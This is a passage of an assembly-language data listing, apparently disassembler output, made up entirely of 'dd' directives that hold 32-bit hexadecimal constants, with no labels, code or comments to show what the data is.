0E68AAEC2h, 47CD1DEBh, 9ED19D37h, 0BB46E11Ch dd 0CA7DA541h, 31CF9498h, 14745A6Ah, 22704D3Ah, 6C38D53Ch dd 0F50843B3h, 9A4DD3C8h, 8E75D427h, 614BB003h, 0A68ECD48h dd 2644D131h, 0F788452Ah, 54A6DB9Eh, 8DCD2829h, 7D9145E7h dd 0E3D71BC7h, 0C325D6ACh, 0EF12309Bh, 5B74B7DBh, 9B70C0Fh dd 0C777C238h, 11AE3A95h, 5CBE1F00h, 7A638EF6h, 25B3AE8Ah dd 107ECDA5h, 2DAA9F0Dh, 6715AC2Ch, 69BB5824h, 0D8A2CE63h dd 37909A82h, 7A275CB6h, 536236B8h, 0BD20FDEDh, 0CCBD130Dh dd 0F308D4FDh, 283351CCh, 884DCE6Ch, 8EEC97C3h, 0E204703Ah dd 55BD880h, 6AE1DF6h, 72E4380h, 0FD141C0Fh, 1B75E938h dd 0AF425A77h, 67E3C281h, 5A7156F6h, 460571B2h, 0AC49B716h dd 0B7A49418h, 0B96D76D8h, 44D10444h, 51340462h, 99DE1EC8h dd 0E85BFC45h, 7748146Bh, 580B8BBBh, 9B657FECh, 5056C2C0h dd 3AD368F0h, 50A25443h, 0CEA035FBh, 0AA64EC52h, 0C16D175h dd 0F881AD0Ch, 0CE41C389h, 344A9E02h, 0D2CC7A29h, 9088C343h dd 8ED8239h, 0CF30FADBh, 0D5A14932h, 8F72BC12h, 0DB02855Bh dd 16FBD375h, 0BB12EA2Fh, 0B9483323h, 61332A1Bh, 459791FFh dd 0ABC07DEFh, 1AAED6B3h, 9723D07Eh, 539AF458h, 0F6A6CD8Ah dd 0B30AB159h, 1450EB29h, 7CC4012Ah, 911B53CAh, 0FDD3E55Ah dd 8D87D0CFh, 0B906B194h, 504F105Eh, 7E4D7AA2h, 0A07F0C89h dd 8AAE2413h, 654051A3h, 1D5F8680h, 731D765Ah, 0BD23DE09h dd 54AE46C9h, 0DD36432Fh, 0F9E93D0Ch, 0BD15F99Ah, 66A48758h dd 0C64C228h, 0DBD1C9FEh, 4CAAE6F3h, 4E0E2409h, 0E1504434h dd 0CC397D72h, 3781B2A5h, 706A9D7Ah, 7E93AC7Eh, 4FDA42D7h dd 46E96DB8h, 14D98F4Ah, 1A2DBD53h, 8FA34352h, 3D2AAD66h dd 8E63A4AAh, 6DA746E3h, 0CBF6D6D0h, 2342DA29h, 0F529A0C1h dd 5DD369C4h, 9FE85FE4h, 0F9F35458h, 0ABDDE7EAh, 0CFF8F489h dd 0D5E139D6h, 42003CF4h, 9CEA54BEh, 0CDEDC969h, 8D7AEB1Fh dd 0DA38F3ABh, 0A1626ECBh, 7A3EC765h, 22215964h, 1839460h dd 1F2454CEh, 7098F34Fh, 5E5805D5h, 0B7790A51h, 0B63C669Bh dd 66DB923Fh, 3D37FDD7h, 28EDA471h, 7113C5A6h, 54AEBA56h dd 53B4259h, 451333CBh, 6A7DCA37h, 0F0444271h, 0DD904B2Dh dd 92A3B7B9h, 70EFBA9Bh, 855C0C7Bh, 9CBCD31Ah, 3E23998Eh dd 0C048BEC0h, 0F7F4F90Ah, 8FFFE5B2h, 6B3C22DCh, 3DBF814Fh dd 1F086DBBh, 0E0D4485Dh, 5306A23Dh, 0F4290632h, 4F0CA594h dd 9D94C739h, 237B9017h, 0E5647D03h, 5C06CA3Bh, 0C4A619EAh dd 72976EFEh, 0FEB00F0h, 0A37EFB6Fh, 65E3D9EAh, 0CAEBF2C6h dd 3FEA3100h, 0F4734149h, 44495E27h, 2D2F58B7h, 9DD514A4h dd 28B00E67h, 6ADC7EC2h, 6324A8F2h, 0FFAF791Dh, 4C7859B2h dd 0F5F733A9h, 3409E858h, 0F49DDFA0h, 1C8BA0D9h, 0AB52B9E5h dd 2BB61A82h, 85CCE50h, 40C2E5B3h, 4D8314FEh, 7AE8AB2Ah dd 0EA4662B8h, 55647571h, 0ED304C5Fh, 0C11ACB79h, 0B24BAF07h dd 71FD53B8h, 46438272h, 53A2F87Fh, 0ABF12E76h, 7793749Ah dd 0F051929Fh, 0B266257Eh, 0FBF1BF05h, 8C580882h, 0BBC3FEA6h dd 1E0C713h, 0B304BEA6h, 47886808h, 841F2A98h, 3FC474E8h dd 0B6086340h, 0C5A9D82Eh, 3059DD6Ch, 8C6C9D65h, 13D0A11Fh dd 90C103ADh, 0AC7A0C8Eh, 0CF7C79C8h, 4D48082Ah, 23A871F4h dd 3612F501h, 712EA086h, 7A491321h, 619EE93Ch, 0FD516FDFh dd 0C1070E4Fh, 1624AB14h, 0CCF861A9h, 1AA7C92Fh, 67C1CFA2h dd 0AD99C179h, 0C96FB314h, 96B7B040h, 496EC1Fh, 9D65F340h dd 8018A3DCh, 0A06298D7h, 3FF236E8h, 37A01FDCh, 49C04832h dd 546C9A0Ch, 2A84E066h, 3380956Fh, 0B2954E85h, 6737305Ch dd 385E7F73h, 93812FE2h, 0ABF4D831h, 35343AA5h, 237C93E7h dd 17FF2E09h, 6D54A404h, 4FDE99AAh, 3612B98Ah, 591F4F5Dh dd 0C52F9670h, 88B5CEBDh, 0A6F4CE27h, 827BB195h, 9822E889h dd 1DF31184h, 0E95F06Bh, 0E83FBB7Ch, 0BBE23C15h, 85F75CE5h dd 5EEA46BFh, 0A0BEB329h, 0E0E59D6h, 68E70988h, 0B2A52E51h dd 0F24B6010h, 0E12D1E6Dh, 0E20FE569h, 0D0D1D8D6h, 2AF1F70Dh dd 21714522h, 8B0BB549h, 72E094ABh, 0CCDEB449h, 8475BA50h dd 0B0B7BE01h, 785F0F8Dh, 0CF819AABh, 0BA62F383h, 858C1626h dd 0F2F456C3h, 0E438C9B9h, 0C38BB193h, 0AB2C6B45h, 0EF4572B1h dd 839E408Fh, 0C6EC8EDDh, 64AE6F52h, 0A5A0B1DFh, 27B4D734h dd 0CD3B5325h, 0D3D49150h, 0E06CEE31h, 782DE23Ah, 0B7C558D0h dd 1A4E44C7h, 81806B4Bh, 5839E43Ah, 4ED5F5C1h, 0DCDABA02h dd 0AEC29BCh, 9D8E1437h, 0D3382997h, 0C1A22DFh, 0C5C71631h dd 799EA3Dh, 0F1FD7595h, 0AB90E1B5h, 874E5BF2h, 1F6367CFh dd 0C32C9CCBh, 0DFBB0719h, 7CC568FFh, 45E88AC3h, 488A10A1h dd 6DA9B54Dh, 9518568Ch, 7CF15925h, 5ABF3A37h, 0C8951018h dd 563820A4h, 434C8847h, 35F2D5A1h, 0C59BD9A2h, 9105ED20h dd 49AF2593h, 0B1DCFBBDh, 6DA65DC7h, 2B31D601h, 2A5F12F7h dd 15C974F9h, 0CB29D750h, 1552987h, 0E2A6424Ch, 824258D1h dd 3ADF349h, 8CE810FCh, 99E3595Eh, 6DB32AE1h, 629C9BC2h dd 0CE5C86C5h, 1C6F00C6h, 4E8A5312h, 0BF692FB7h, 0B2033839h dd 0E94CCD4Ah, 0FEEBD21Ah, 0D683D3DDh, 2709677h, 7567F9B1h dd 0A3D0BAF9h, 6E4F1D59h, 0F393A128h, 439FCF6Fh, 918C7F3Dh dd 85641FB0h, 11E85C71h, 5A3F9373h, 0DE0805E0h, 74438EB6h dd 17E921Eh, 0D68AFAA9h, 5F963C25h, 0D559CCF0h, 800CC56Dh dd 21806F29h, 33A99E19h, 0C2C6E40Bh, 0AEB9F4E1h, 0FB03AECEh dd 596EC77Ch, 4FB4F1CDh, 0CAFCBDD5h, 783EE02Eh, 9EAF8642h dd 0B38B2FACh, 0CE8A7066h, 0BAB3AC3h, 0A3670669h, 3BBF93CDh dd 793183C7h, 0C32A90FCh, 0F73C1A4h, 0D5168438h, 8EBAB08Ch dd 8A4D9339h, 0AED0C4F0h dd 0CCD0AC2h, 0F50291E8h, 904DD858h, 6B33CCB5h, 93C93AB7h dd 7D0C950Fh, 5B4001C3h, 4360781h, 6EAA3CE0h, 0A6984204h dd 5447C715h, 0D3E1158Ah, 0D1BB7EB6h, 5AA8D5EEh, 0DD96FA7h dd 78DC7EA6h, 34692FC4h, 0CAA76C0Bh, 50AACE64h, 62205440h dd 0F4365DCBh, 367C39D3h, 95113913h, 0C6215CC6h, 387F9138h dd 739218BDh, 0F6DC6C15h, 0DF4468A1h, 9295B158h, 1190D33Ah dd 609FDBE7h, 0CDAEBD06h, 0ADFB2DE5h, 8580D374h, 0E19CD747h dd 0F133960Fh, 2F06DA13h, 7FF9369Bh, 92274721h, 0D0526BBh dd 65BC06A6h, 9794608Eh, 2B6B30B4h, 85CA7351h, 0D815E79Bh dd 0B9BC9DA9h, 9909D7E3h, 2804F85h, 0DF17C587h, 0A8452E3Ah dd 0D8D70756h, 0F35A40A0h, 0CABC9C06h, 2C980E85h, 0E6FF7294h dd 0F50E976Bh, 80B2111h, 3119D154h, 13A4986Ch, 484EBh dd 686365CFh, 6D829958h, 0CE9FC184h, 0B6ED77ACh, 9875924Dh dd 0B4F22448h, 0F506B26Ch, 250FF158h, 2C544825h, 0D6581F59h dd 0B650CF86h, 0F125C909h, 0B260B27Dh, 60C4D991h, 24E4884Dh dd 0BB6452D1h, 21754426h, 0EB9D08D0h, 38D6A2C7h, 8703EFC4h dd 0A20DE148h, 51656676h, 0C06D733Fh, 36C4E6B0h, 1EF7B231h dd 0FEF2DE6Dh, 0DE53E363h, 0CEA09965h, 0C193D292h, 664C5B64h dd 1B6450CAh, 9FC8A598h, 0CF85BC57h, 8CE31E8h, 3FFE2153h dd 0BEDEFBECh, 465761ACh, 446209A1h, 76E91462h, 67A1AE09h dd 2BAEAB4Ch, 0E5560A7Ah, 573D699Dh, 55FB1B7Ah, 3B838A7Bh dd 0C36424D2h, 62383C7Fh, 4EF6233Ch, 0FF6635Ah, 0F513ADC8h dd 0BC2D79CDh, 96A82F40h, 6E76DE7h, 0F65D44B5h, 0F8520EA9h dd 5B9CC7E5h, 0B52DE3F6h, 8EF13973h, 0EB223D56h, 3D753C9h dd 9EDF79E9h, 143C1A96h, 5BBC1AD9h, 0C30D6C73h, 0FC3C720Ah dd 0AA5727B8h, 480B604h, 0BF981E33h, 3AB3BAC5h, 6657D4E7h dd 5535ABB8h, 68883CD3h, 5EEC0443h, 1DE836h, 14E43175h dd 1032DB0Fh, 4895569Eh, 0B840996Bh, 149A50C4h, 228B4287h dd 0A8E0B990h, 0D805D250h, 689E9E2h, 8B96F8D5h, 0D512D914h dd 7EF152CDh, 0E6E4E1FFh, 0DC4CD30h, 551EC4C2h, 0AC971B8Bh dd 0D86B6101h, 4F396994h, 93738158h, 5BFB9CCAh, 6118C802h dd 0DD7361DBh, 0E370ACF8h, 23425AE5h, 1AC335CEh, 0AD417A48h dd 12B6F1ABh, 302E881Ch, 0ED6C9E43h, 0F008A614h, 706EA0C1h dd 40CDE1EFh, 9890EC9Ah, 63EF858Bh, 6332CD94h, 0EBB5AC79h dd 43612184h, 9FEBFC07h, 89E9F029h, 0CC126E05h, 0D5DCD029h dd 1C87040Ah, 304DEB66h, 0F638FFFEh, 0CAF22AA4h, 0AC986C03h dd 1F8A652h, 3F6DEE5h, 0E796E313h, 7127EE02h, 1D7A96C3h dd 3604C84Eh, 0C9053C7Eh, 0C1C57925h, 7EDEEB77h, 0EBC796ECh dd 1A781E27h, 59850036h, 0D1D5F9F3h, 0C2C38286h, 0F6EE4919h dd 0CF5F9549h, 45336DB3h, 8729B760h, 0AFB81AA6h, 0F624B67h dd 921A0D97h, 4B395F76h, 0E697EB3Fh, 16B7DC2Dh, 0A3759D9Ah dd 5370C476h, 34FA1724h, 4E24FC62h, 5FA524AEh, 0E97A1EA5h dd 4121C737h, 6FB49229h, 0D06EEA5Dh, 1AA0C2Ah, 0E8D729FFh dd 6E2CE216h, 0C1169E8Fh, 0A77C69CDh, 0E3F03D1Dh, 0A9ED1A83h dd 7AAC7D10h, 30E90ED9h, 0E603B2Ah, 0D852343h, 8A7F8F38h dd 0AB664EDAh, 0B8754C52h, 23769236h, 55F8EE3h, 8BA4B83Eh dd 0CDA37A12h, 4240EB7Ah, 55B47F75h, 11254717h, 0F2DB8678h dd 77AB3FF1h, 0A41088ABh, 0C1F9F280h, 629FC99Dh, 51329BF5h dd 90ED0312h, 21B38CECh, 241C7BBAh, 0E00DCD88h, 6767BB10h dd 8341353Bh, 410BCAD2h, 0DFE7F600h, 81FEE33Dh, 0EB053613h dd 0D76493CFh, 0FF92F3BAh, 0C08CEEBBh, 9A494488h, 0F6C9BEA6h dd 0DBAB0461h, 44B4450Ah, 13C0E1E2h, 0A857AAEFh, 8FE9B084h dd 210B2019h, 2C886A84h, 48FC80AFh, 9D5062B3h, 36292FCCh dd 89F467Fh, 41FDA107h, 0E5397169h, 0D64654E2h, 53A020EDh dd 2B1FC686h, 0E51DF336h, 0F8D83FE2h, 5B58DCAh, 0E1465E67h dd 0E9D55518h, 364032D0h, 0ADA19B9Eh, 46237E3Bh, 0BF2BEEh dd 0C03ADD32h, 55BF1AD2h, 92A8EF0Ch, 2088DED3h, 0E98185E6h dd 6349BB3Dh, 96917786h, 45484CD3h, 0F734391h, 424796CCh dd 0B3E48EF5h, 71C8C619h, 998431Dh, 6DF61347h, 0A41DC341h dd 828C0DCDh, 28AED5C9h, 0DD088A80h, 457D61BCh, 1ACDA705h dd 0AD661A26h, 0DF0A5752h, 216EBAE9h, 0A0B432DAh, 0AC230D8Dh dd 78C28048h, 0C7830F14h, 37B5CD80h, 9A1E39C6h, 8DCCB29Bh dd 6CD8A118h, 0FD25CCA3h, 68B9E620h, 0F4CC6880h, 0A84B1443h dd 0AA91CA14h, 0CC7A9831h, 66AE66E2h, 4C1A46DDh, 743F079Fh dd 67B09553h, 70A5BD00h, 0FC5AD8FDh, 0DA884BDDh, 0AE906C21h dd 510B6197h, 0A99FDB22h, 2A1E8724h, 0A0E598CBh, 6FEF1146h dd 4E56B0C2h, 0B507A5E0h, 0A79CEA94h, 0D526F9C0h, 0CDC77CC1h dd 0B5099670h, 0B7E8DA59h, 2A9E1DFDh, 0AE20B71Eh, 777B4122h dd 0FD054E23h, 0EA708D45h, 91DE113Fh, 2154CD3Bh, 0FD817849h dd 8AD1F575h, 0BB323857h, 25DC87EDh, 7D9996Ch, 0E2670A44h dd 0F4A166C4h, 727268C2h, 21C4B29Eh, 711852AFh, 83875806h dd 3EB779D0h, 6958220Eh, 0D1042992h, 0A2CDDC57h, 51DD74A3h dd 3F54BF3Ch, 4B879A37h, 947BED07h, 63D7AFDEh, 0EE9FCDEh dd 0F27F9D95h, 0DADE541h, 0FC416162h, 29005E84h, 29F19113h dd 27243441h, 0F3CCBBA0h, 0ABFC2537h, 0ED2F2C7Bh, 36DF2427h dd 0E5F9138Dh, 502D6E28h, 2E0316F0h, 0CD2B6553h, 9A130D0Dh dd 0B95301DAh, 0D2EFAF33h, 0E2B61118h, 26B0633Ch, 83CF4BFDh dd 0C80137D9h, 857F5F2Dh, 9AE42AEEh, 3E4CD9DAh, 0BD948D2Ah dd 0A28A10F1h, 1FF26B5Dh, 320A2057h, 0A77C46FCh, 30C99C5Ah dd 0C26B3FAAh, 0DA41EEDCh, 0EABB3246h, 9A7CC2A8h, 48E06468h dd 0F4355982h, 7C187A72h, 0E7C82616h, 7815BDC8h, 0F15E3070h dd 0DB1B7E09h, 955C39F2h, 9BFC246Eh, 9269A3E9h, 0A3842DFBh dd 5BD6E668h, 5E4E1AADh, 0BAC14813h, 46DCEF82h, 9FEC7FA3h dd 7DF91308h, 0ADF79F00h, 23E4E001h, 0DE613FDCh, 307B7A4Eh dd 6F4F6919h, 236003FCh, 565D80F7h, 874B7BF2h, 2F03E844h dd 3C142176h, 0BECBE457h, 10478959h, 0A6B98D5Ch, 46E8089Fh dd 0F28BAB2Dh, 0F2887F8Bh, 8AEDB4B7h, 0A5D5F2DBh, 0E1B1CE3Bh dd 5A749964h, 79E506B8h, 51D0E202h, 0FE7FD58Ah, 0D91879FFh dd 7071B8F7h, 0DF982225h, 5AFE3771h, 0AF356AD2h, 0D801DF27h dd 0C9D484F7h, 92BAE5C8h, 0CB866B2Fh, 19AF8595h, 56BD017h dd 718E5C5h, 7A402BA2h, 833E8B3h, 0C50B5C5Fh, 5B0B93E7h dd 0ECD53785h, 0AB1658FBh, 0F65AFF30h, 1C30C214h, 893F119Eh dd 9392D422h, 5DF1F794h, 7619D24Ch, 2330063Eh, 21B1E4D9h dd 0B752B649h, 0D0F63EE7h, 9849867Eh, 535A4C63h, 32981CECh dd 0B5F5FD36h, 1BBF71B0h, 7C0C8CEh, 8C6A4E36h, 0A1DB9B5Ah dd 0A11B2C65h, 1C54BCB3h, 3580F354h, 89DE32A6h, 8B309FA7h dd 48E1D178h, 0C82B1D20h, 0F28974B4h, 0E90656C0h, 0E7171AABh dd 7F451DA1h, 0EE55DB99h, 7C0F9620h, 7062B3DDh, 0B4C88B70h dd 0DFD5A06Fh, 0BA55B177h, 0A615999Eh, 6609B9B1h, 6B15AFBDh dd 0AE981436h, 64CEB6FBh, 16AA9326h, 2AC7D5B9h, 0DF916D66h dd 0C7F7FE80h, 18D60723h, 10825120h, 0A1188C17h, 4933C3C6h dd 0F68AA0E8h, 0BBEB67D6h, 0A0859620h, 77BCAD05h, 35F03008h dd 0E9A3E2AEh, 20C3C263h dd 288CAC3Dh, 72BFF51Ch, 11E1805Ah, 0D7587125h, 322331C1h dd 851CE072h, 0BEAA0FD4h, 0D801B904h, 0F8B16F1Dh, 8A6FB879h dd 54472E92h, 4EE67415h, 0BB500C5Eh, 0ED70F988h, 0FC05D3D6h dd 0BA913D58h, 0D6E8131Eh, 0E26ED1CDh, 822BDEEBh, 2E8944B1h dd 8B831B6Eh, 611D4744h, 48FBAB04h, 5C69CD60h, 3F35627Bh dd 24F985E6h, 0D11E6A63h, 1E2B61DEh, 405FAF36h, 0C29B64E1h dd 0E024D6E2h, 4F10F258h, 0D3A73E18h, 3B2F3CE5h, 0CC851472h dd 8A64DC4Ah, 0BE0DE86Ch, 93F7F092h, 0FF2689E3h, 0D7BB79CFh dd 0ED03C2Dh, 17A88F5h, 0C1C054B2h, 48D9C2ACh, 0D58D6841h dd 0E733E67Bh, 21B79BBCh, 0A8C0B5A9h, 513B4107h, 60C954E6h dd 0C820A486h, 8AA95A50h, 62EAFEA4h, 2C6CE729h, 0A0E86D54h dd 810054E8h, 825052CBh, 569498FBh, 0BB4D933Fh, 10C8D0CDh dd 761078ADh, 0BC71A5BEh, 68A81346h, 0F4636B06h, 0B137B4F8h dd 48C9CC92h, 63D0F783h, 0CB473E3Fh, 0D4FB469Eh, 0E46BA4A8h dd 8DE34700h, 0C70F91D3h, 0C5918AC6h, 0DBE71975h, 0D776C4h dd 319E8ECEh, 8A9A36DAh, 0E8D0FC90h, 0C0960FE2h, 6E87F78Ah dd 0C9FFDCB7h, 0DC96E39Ch, 8FCB39D2h, 910ADC6Bh, 0FF1BBA55h dd 0F1632FFBh, 7B3B7067h, 2B30F098h, 4683CDD8h, 9E78B7B9h dd 0B5D60C57h, 5D06AE38h, 0D7BC4E9Ah, 0F52E8A86h, 4A179CA5h dd 0B22926DDh, 0BBA3758Bh, 702AA721h, 0FFDFC2C5h, 82BA79CAh dd 0C811D098h, 7C16E5Dh, 4F65FF7h, 1EA7A3C9h, 24D079A4h dd 0A2562E9h, 1B8EFB45h, 0BA78A70Fh, 7BBAB809h, 0E9F0E40Fh dd 0B65B03EBh, 17548A8Eh, 0BA7F79B8h, 55AC97B0h, 514FFAF0h dd 9D4A03FEh, 35A483E1h, 4C6EBD69h, 2195432Ah, 2DD6D1B6h dd 4EF92F9Fh, 88983D19h, 0B57C71AEh, 6869CCDEh, 67A3E22Ah dd 20A25113h, 0E7C24BA1h, 365BEF3Ch, 96AD57BEh, 0AF6BBF21h dd 0EF4964EEh, 41F62AEAh, 0FE4720C2h, 52A9B6C9h, 505A0B92h dd 601075E1h, 0B7CD79E1h, 84E2D9E4h, 9F7AA780h, 5EE3BF5Eh dd 84AFB0ACh, 0A3711081h, 0AE35ACE2h, 40E9C57Bh, 453E16A5h dd 558F6A34h, 69B688BEh, 7104C8FBh, 83837ADEh, 6D615D16h dd 66F7FC3h, 7F2CE83Ah, 9806B65Ah, 0CB4AD2B7h, 4EA273D6h dd 659D19BAh, 18482A9Dh, 0A1073837h, 0DF7864D5h, 120A199Bh dd 2433143Fh, 7576830Eh, 0D4CB6A9Fh, 6DEC8FF1h, 0DE8F2D83h dd 0FB57CC5Ch, 0E13C4B70h, 0CCF13A7Eh, 0FA3BC070h, 2B373888h dd 0E65A68C5h, 66707EEEh, 0C512A87Fh, 718E4F33h, 0EA7BC18h dd 4F087D65h, 288F6DFCh, 30B4E5BBh, 8081C62h, 6CF75473h dd 0D7FCB890h, 0E0644AAh, 0EFE18473h, 0B1B7AF42h, 7808E32Ah dd 0C9FAA0Dh, 1C5ABBADh, 71891A1Dh, 4544D5ACh, 1BAC47CCh dd 0EF6A5201h, 0C7F65B76h, 0B765BD94h, 420C09B1h, 0EBC5AB93h dd 0FBC30640h, 263DCB6Dh, 2A1132F5h, 21FE6A94h, 111C4FBFh dd 0FFED2DC3h, 36B12C8Eh, 63B0698h, 0B9FB2AF6h, 0B0360E02h dd 85AFF915h, 0FE581084h, 0B8C8F54Bh, 17B393B4h, 3A70FCD6h dd 68BEEA9Dh, 0E13A39C0h, 9AE8C82Eh, 2FEF8A2Bh, 9E6723Eh dd 7622AFA1h, 2045E148h, 9DFC47E6h, 0FBBE8FEh, 5F65C134h dd 1B2F588Bh, 854383A6h, 0F908C98h, 0AFA6A8D5h, 0C91DFF7Fh dd 0A7411459h, 3BDD9875h, 4CD719BCh, 698B718Ah, 226C4496h dd 0B616FA6Ch, 6BBE854Dh, 39B861C1h, 894B1790h, 0F03360E0h dd 24633F39h, 29640D6Dh, 51C3B9Bh, 0FEF23F0h, 0C4CB9C8Bh dd 0A8E6DA1Fh, 0D4E5B182h, 4FC7E6E8h, 4DD2ED63h, 13D9CC0Ch dd 2ECFB4EFh, 0EEBBF71Bh, 941B715h, 5E73B1DFh, 23202734h dd 0E19B8320h, 59F963D7h, 2E47474Bh, 90E3B0C9h, 926BF902h dd 5AA0EA45h, 5D12EE3Dh, 31818258h, 7FFC2A46h, 0B6E8FB10h dd 500349ACh, 725F8297h, 2185ABDFh, 43EE58C9h, 8786B297h dd 0B3B6AA04h, 721D6E24h, 78E17CF0h, 18ECCD2Eh, 4DA61F9Dh dd 8439D2Ah, 32EE0199h, 7AE89733h, 4C245E01h, 4E8B640h dd 8FF794DCh, 8ED6E64Dh, 12E4DBC9h, 42A4DDF8h, 0EA0C0642h dd 6BB8357h, 66B98AD9h, 800FA53h, 61EBC9D9h, 7670C908h dd 9542D4E3h, 0C1103D61h, 7D893D11h, 59DF6C28h, 46C98AA5h dd 88EDE0Ch, 41F73394h, 0F87C5387h, 0A7744894h, 81DE36B1h dd 0D4D5E641h, 5FE07AD6h, 0DFC6480Dh, 0D62CD071h, 87CB59ECh dd 0EB19786Eh, 0A4C4AE71h, 0D6C1C307h, 0C8DF9C6Fh, 0CF07C25Ah dd 0F8C6AC57h, 388CFB58h, 0BCA1D4FAh, 0CF55BC91h, 44191254h dd 0C7441947h, 5DACAA74h, 0FC689E86h, 0D30FC356h, 6639963Ah dd 6CBBE781h, 89CB45B6h, 0D4FE68AEh, 0EFEA91E1h, 0A70F839Dh dd 20155761h, 9D81D75Ah, 141ABF18h, 6FB86C80h, 1AEBDD80h dd 0A65C636Dh, 565DE78Ch, 6FC1A0A7h, 539F4777h, 5D514C3Fh dd 23AC527Ch, 73CBA9B9h, 1B9E0692h, 0AE31FBFBh, 0A4E97760h dd 30633B74h, 17B6F866h, 0DF9B5E7Fh, 69BAF035h, 967E137Bh dd 8AA86AC1h, 79A33A1Dh, 76D24FA2h, 0A28EBEDCh, 5012235Dh dd 0FC924E39h, 0DAD85BF4h, 0B2B6A9A3h, 0CB0C2902h, 31BDFEDDh dd 2B6108FFh, 7B396A04h, 16FA9B5Fh, 0DA293106h, 754B2F91h dd 0DBD837Bh, 529BCDFEh, 0AAE1E287h, 56278B5Dh, 6126E691h dd 786447A0h, 8FCD6020h, 0D4C519C2h, 0DDD0A1B8h, 8A1A322Eh dd 0D66501CFh, 3E913468h, 6FBE2F4Ch, 0B758307Ch, 0A5052D02h dd 5BC375BDh, 0F87D2B61h, 0B073936Dh, 0D4BDFD58h, 0FCD0EBABh dd 854D52E1h, 5FC564ECh, 0BF50642Dh, 268B50CCh, 0DA695B12h dd 0C0534F00h, 0D3F0A59Ch, 16167767h, 81FC7A35h, 52D8FC3Ch dd 0B7C563B6h, 0BCCE31AEh, 59328F39h, 0DFD03AD8h, 5CBA1A04h dd 382CBDE5h, 0CB24A09Ch, 0CE15A1F3h, 7E0565AFh, 0DC2F87CFh dd 26FB3683h, 0D82AF532h, 0E2F01C19h, 794AABC4h, 0F66B72D8h dd 6A164EB4h, 0BDA09E62h, 3F4D075Bh, 4E76FC7h, 6C6840C8h dd 78AFC044h, 5835DBA6h, 3B0DC484h, 4781C696h, 31FE6F23h dd 49AEB200h, 1B47EA86h, 4450FE85h, 0C0CC5750h, 0BACA1A5Eh dd 74C84E25h, 64C84E31h, 22B62298h, 0BE15968Fh, 0F2E58457h dd 8A2CC958h, 3A5DF7D5h, 93E03602h, 3DA7B80Eh, 0AF24DA03h dd 0EA3CA2DFh, 4FFDE77Bh, 1E788B90h, 0BFC5CA09h, 2EB89490h dd 0FDC60A9Bh, 7E6E40EDh, 61587BD5h, 5F77D8A5h, 0D96DC176h dd 7D7FF85Dh, 5BC6AA9Ah, 0CCB31E2h, 0C1F23517h, 0C4611933h dd 5828E974h, 0E1C7A1Ah, 296301EBh, 0AC054EE2h, 24BA83A5h dd 0A9C488EDh, 757357B5h, 649C3D76h, 398FAC0Bh, 0E8CF0CFCh dd 0A2A3D2CCh, 0C14A6CBEh, 2EB325A5h, 5A99DAD4h, 0DEB5D182h dd 3C3E7973h, 0E932752Ch, 0E4A2B4DAh, 0A8358734h, 5770288Eh dd 9FEC0DE3h, 0A55A4804h, 0C2E589BEh, 0AA7CA5ACh, 81064ABCh dd 0D5AB6CCBh, 0B69BDFF9h, 15611493h, 0B8B524FEh, 737D5A58h dd 0BB767B24h, 446C0F28h, 14FCE2F0h, 0D05EADBDh, 0CA070BCBh dd 9F7699A8h, 24787B5Ah, 1EC792ABh, 4D574F0Eh, 0BEA374D6h dd 0AABA480Eh, 0D7D87026h, 72D4AF9Dh, 0E77FC53Bh, 0D3079A69h dd 2CF72813h, 9B47CD2Eh, 98628DACh, 8A363339h, 0EE048D5Dh dd 37CAB1F0h, 0C2B6A877h, 414B46B8h, 64910954h, 0BEF47C31h dd 0CC9E29C6h, 8F802C31h, 0CE5ABF91h, 3DBCE570h, 7C9FD58h dd 9A3701E6h, 8633409Bh, 46C961EAh, 5A1AA7D5h, 0B082918Bh dd 331C56EDh, 0D1884A75h, 0C0F94C5Eh, 186FA5D6h, 0B357673Ah dd 8BF5E9EFh, 2C7F51F3h dd 0CFC127F0h, 0CB7ACED2h, 0B3273C46h, 0A318F501h, 1BF1B330h dd 6B8658F1h, 0BB06CE06h, 600D15D9h, 0CD91763Ah, 5024A908h dd 62D35121h, 45519F7Dh, 0E21303F0h, 0F3008175h, 53836BC2h dd 98939F43h, 0EE4F61C2h, 0D4B26649h, 181A0344h, 0B9B6E619h dd 0D1EB14F2h, 50DB9B4Ah, 865F97DEh, 657D86h, 74BC1274h dd 5632F07Ch, 7CE1DFFDh, 0F90BEB92h, 978B6A0Ah, 20EEAC3Ah dd 35327041h, 1E5AFC37h, 0FDB2D0FFh, 0E2797FB3h, 71CC95D7h dd 590CD2DEh, 0B9FD3A23h, 7E2F1F90h, 785D0C67h, 0C491BF3Eh dd 0EAA20099h, 2F11914Dh, 64AF0918h, 0D7EBB774h, 3DCDF4E1h dd 3577CB34h, 700661F4h, 9827E1FFh, 0C165FDE8h, 0A3502102h dd 6FF585ECh, 0C1DFBE2Ah, 3713847Eh, 0F2B2BDDCh, 0CF9F4541h dd 34D97CD5h, 1B8F6DC9h, 503CD142h, 0BA55D6Bh, 0F9977F2Bh dd 2CE4BBD4h, 0E5EFDFEFh, 92C2AE27h, 0B7725A92h, 0D161752Bh dd 0FDC7F408h, 3AB4B7AFh, 0E87A499Fh, 1A01209Ah, 0B566C304h dd 1BEA1EC3h, 970E87C6h, 87668266h, 76C983E7h, 0F68A7434h dd 224372B2h, 0E6826324h, 0DBC584F1h, 0C213C5EEh, 133ACBF6h dd 1E3B820Fh, 0D1CCBC4Fh, 71C4770Eh, 7B3A1E07h, 701E3C77h dd 59C4CB5h, 4D3A103Ah, 0A850FC04h, 0C472E369h, 80E7612h dd 28CA7E75h, 6365672Fh, 9511EF5h, 4AE78536h, 0CC834AA6h dd 154C05D6h, 0DD0EBCCAh, 0C89FED86h, 84B368D1h, 0D36EE072h dd 466A3162h, 5E3DEFE9h, 7BBEDCB6h, 99F4207Eh, 26E414C3h dd 0D7EC97B8h, 0F9EBECC2h, 386E6EBBh, 0A541AAA0h, 0DA2CE5FBh dd 782A3451h, 0ED7F56D8h, 131D4AE4h, 2FC82C77h, 1FA48150h dd 1B4743EDh, 4BF8FD95h, 24103554h, 47D7D422h, 2626EFD5h dd 0A46A2B98h, 667E890Bh, 0BA9EA116h, 695335D4h, 2A17A92Bh dd 457F6C3Eh, 0F8CDF5EFh, 58EEA9DBh, 0BC469CAFh, 1BF116E0h dd 0F6F80F82h, 29AB6F6Fh, 6ED3E0Eh, 6F5F75C3h, 9C0B37C7h dd 9FED69E9h, 4E6CA675h, 0E3136537h, 46C54E6Eh, 6BA1CEA5h dd 71CA84E6h, 0B73B123h, 0B3DEE92Ch, 0FEC582BDh, 578D0E35h dd 811E5B3Bh, 924A058Bh, 2A9DBC76h, 0F99B68F8h, 